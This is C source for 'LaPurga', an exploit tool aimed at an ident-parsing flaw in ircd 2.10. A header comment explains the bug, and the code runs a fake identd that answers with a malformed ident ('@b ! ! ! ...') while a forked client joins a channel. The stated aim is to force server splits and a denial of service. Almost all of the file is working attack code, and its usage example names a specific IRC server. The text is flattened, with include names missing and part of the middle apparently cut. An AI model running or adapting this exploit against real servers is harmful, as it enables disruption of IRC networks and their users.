/* IRCD 10.2 - DAEMON INTEGRITY TEST (QIDENT) - Berardi Michele Programmatore Senior "customize your opportunities!" Mobile: +39 347 319 2000 E-mail: 03473192000@vizzavi.it E-mail: mfxaub@tin.it */ /* QIDENT DOES NOT CHECK FOR SPACES AND STRANGE CHARACTERS LIKE: "*, ! AND @". When using an ident such as: "@b ! ! !", "b" would be treated like an hostname and the parameters which are left would be enhanced by the number of spaces provided by the ident. if this ident is accepted, the connected client will become a "ghost" , thus is not be transmitted to the irc network, therefore it will only be visible on the server it's connected to. When the bogus idented client joins a channel (the join is not being rejected by the network and transfers the bogus ident),then, a "PROTOCOL ERROR" occurs, and the server is forced to split from the rest of the network , this gets more problematic, when the bogus client gets collided: "CAN LEAD TO A DOS (DENIAL OF SERVICE) CRASHING THE IRCD!". */ /* note: unrem include files only if you notice some error under your O.S. */ #include #include #include #include //#include /* not needed under cygwin also linux */ //#include /* not needed under cygwin also linux */ //#include /* not needed under cygwin also linux */ //#include /* not needed under cygwin also linux */ //#include /* not needed under cygwin also linux */ #include /* not needed under linux */ #include #include /* not needed under cygwin */ #include //#include /* not needed under cygwin also linux */ jmp_buf jumpback; void time_out( int sig ) { longjmp( jumpback, 0x0 ); } /* "set_timeout" returns: 0=timeout or error 1=ok */ int set_timeout(unsigned short sockh, unsigned short timeout) { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(sockh,&rfds); tv.tv_sec=timeout; tv.tv_usec=0; select(sockh+1,&rfds,NULL,NULL,&tv); if (!FD_ISSET(sockh,&rfds)) { return 0; } else { return 1; } } /* resolving hostnames! */ unsigned long lookup(char *hostname) { struct hostent *name; unsigned long int address; if ((address = inet_addr(hostname)) != -1) return address; if ((name=gethostbyname(hostname)) == NULL) return -1; memcpy(&address,name->h_addr,name->h_length); return address; } /* Sockets: I/O Procedures */ int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) { int sockme; int wasread; int currentsock; struct sockaddr_in address; struct hostent *athost; char lasock[0x100]; unsigned long tip; unsigned short prt; FILE *sockslist; FILE *lastsock; if (( sockme = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) { return sockme; } address.sin_family = AF_INET; address.sin_port = htons( port ); address.sin_addr.s_addr = iP; signal( SIGALRM , time_out ); alarm(10); if ( setjmp( jumpback ) == 0x0 ) { if ( connect( sockme, (struct sockaddr*)(&address), sizeof( address ))) { sockme = -1; } } else { sockme = -1; } fflush(stdout); alarm (0); return sockme; } int writesock(int sock,char *buf) { write(sock,buf,strlen(buf)); } int readsock(int sock,char *buf,int size) { int rc; fd_set rfds; struct timeval tv; int cnt; memset(buf,0x0,size); cnt=0; if (set_timeout(sock,1)==1) { do { rc=read(sock,buf+cnt,1); if (rc==0) return rc; if (rc==-1) return rc; cnt++; } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt=0) { pt=strstr(buf,"PING"); if (pt==buf) { writesock(sock,"PONG :PPP\r\n"); } pt=strstr(buf,"ERROR"); if (pt==buf) break; printf(buf); } close(sock); } int main (int argc, char **argv) { int listensocket, insocket, outsocket; short listenport, destport; struct hostent *socks_he, *dest_he; struct sockaddr_in listen_sa, socks_sa; char buf[200]; int sopts = 1, maxfd; char c[100]; char *po; int length; int cnt; int rc; int lport,fport; fd_set rfds; lport= 0; fport =0; printf("\nLaPurga by Blender/Stigma Project\n"); printf("-exploits a bug in the ircd 2.10 ident request-\n\n"); if (argc != 6) { printf (" Usage: %s ircserver ircserver_port nickname #channel identd_localport\n", argv[0]); printf ("Example: %s irc.tin.it 6669 Beelo #giada 4000\n\n", argv[0]); exit (1); } printf("Setting up ...\n"); listenport = atoi(argv[5]); listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); //listensocket = socket (AF_INET, SOCK_STREAM, 0); if (listensocket < 0) { perror ("Failed to create socket!"); exit(1); } setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int)); memset (&listen_sa, 0, sizeof (struct sockaddr_in)); // extra line for bind also in cygwin systems ;-) // patch this error under non UNIX systems: /* "bind error: Addresses in the specified family cannot be used with this socket" */ // listen_sa.sin_family = htonl (AF_INET); listen_sa.sin_family = AF_INET; // extra line for bind also in cygwin systems ;-) listen_sa.sin_port = htons (listenport); listen_sa.sin_addr.s_addr = htonl (INADDR_ANY); //listen_sa.sin_addr.s_addr = INADDR_ANY; // filling the socket structure .... //memset(&(listen_sa.sin_zero), '\0', 8); socks_sa.sin_port = htons (destport); if ( (bind(listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1) { perror ("bind"); exit (1); } /* listen: Invalid argument */ if ((listen (listensocket, 1)) == -1) { perror ("listen"); exit (1); } rc=fork(); if (rc ==0) { printf("\nStep 1: Starting identd\n"); sleep(2); ircdshooter(argv[1],atoi(argv[2]),argv[3],argv[4]); exit(0x0); } gee: sleep(1); printf(" Identd started.. listening.\n"); insocket = accept (listensocket, NULL, 0); if (insocket == -1) { perror ("accept"); exit (1); } while (1) { memset(c,0x0,sizeof(c)); FD_ZERO (&rfds); FD_SET (insocket, &rfds); select (insocket+1, &rfds, NULL, NULL, NULL); if (FD_ISSET (insocket, &rfds)) { length = recv (insocket, c, 100, 0); if (length == -1 || length == 0) break; sscanf(c," %d , %d", &lport, &fport); /* sending the fake ident ... */ snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @b ! ! ! ! ! ! \r\n",lport,fport); printf("\nIdent : %s\n",buf); send(insocket,buf,strlen(buf),0); /* Sending again ident due to a bad patch released after the 1st version of this exploit */ //snprintf(buf,sizeof(buf),": USERID : UNIX : @b ! ! ! ! ! ! \r\n"); snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @b ! ! ! ! ! ! \r\n",lport,fport); printf("\nIdent : %s\n",buf); send(insocket,buf,strlen(buf),0); break; } } sleep(1); close (insocket); close (listensocket); wait(0); exit(0x0); }